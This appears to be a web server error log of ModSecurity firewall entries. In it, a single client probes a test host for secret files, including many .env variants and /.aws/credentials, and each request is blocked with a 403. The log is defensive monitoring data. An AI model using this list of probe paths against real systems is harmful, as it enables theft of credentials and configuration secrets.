[Thu Feb 26 01:02:40.923880 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31AAAAAY&quot;]
[Thu Feb 26 01:02:40.953011 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31QAAAAY&quot;]
[Thu Feb 26 01:02:40.953236 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31QAAAAY&quot;]
[Thu Feb 26 01:02:40.953391 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31QAAAAY&quot;]
[Thu Feb 26 01:02:40.999333 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31gAAAAY&quot;]
[Thu Feb 26 01:02:40.999580 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31gAAAAY&quot;]
[Thu Feb 26 01:02:40.999746 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31gAAAAY&quot;]
[Thu Feb 26 01:02:41.055478 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g31wAAAAY&quot;]
[Thu Feb 26 01:02:41.055714 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g31wAAAAY&quot;]
[Thu Feb 26 01:02:41.055879 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g31wAAAAY&quot;]
[Thu Feb 26 01:02:41.142568 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.environment&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g32gAAAAY&quot;]
[Thu Feb 26 01:02:41.142825 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g32gAAAAY&quot;]
[Thu Feb 26 01:02:41.142985 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g32gAAAAY&quot;]
[Thu Feb 26 01:02:41.191531 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g32wAAAAY&quot;]
[Thu Feb 26 01:02:41.191791 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g32wAAAAY&quot;]
[Thu Feb 26 01:02:41.191984 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g32wAAAAY&quot;]
[Thu Feb 26 01:02:41.234934 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g33AAAAAY&quot;]
[Thu Feb 26 01:02:41.235209 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g33AAAAAY&quot;]
[Thu Feb 26 01:02:41.235396 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g33AAAAAY&quot;]
[Thu Feb 26 01:02:41.377586 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34AAAAAY&quot;]
[Thu Feb 26 01:02:41.377848 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34AAAAAY&quot;]
[Thu Feb 26 01:02:41.378027 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34AAAAAY&quot;]
[Thu Feb 26 01:02:41.410387 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34QAAAAY&quot;]
[Thu Feb 26 01:02:41.410665 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34QAAAAY&quot;]
[Thu Feb 26 01:02:41.410861 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34QAAAAY&quot;]
[Thu Feb 26 01:02:41.434667 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgugAAAAE&quot;]
[Thu Feb 26 01:02:41.434947 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgugAAAAE&quot;]
[Thu Feb 26 01:02:41.435146 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ-NoTAL5Lg_nL66HcLgugAAAAE&quot;]
[Thu Feb 26 01:02:41.439150 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34gAAAAY&quot;]
[Thu Feb 26 01:02:41.439384 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34gAAAAY&quot;]
[Thu Feb 26 01:02:41.439550 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34gAAAAY&quot;]
[Thu Feb 26 01:02:41.460963 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34wAAAAY&quot;]
[Thu Feb 26 01:02:41.461222 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_bak&quot;] [unique_id &quot;aZ-NoZqP6Uim1aZiP_g34wAAAAY&quot;]
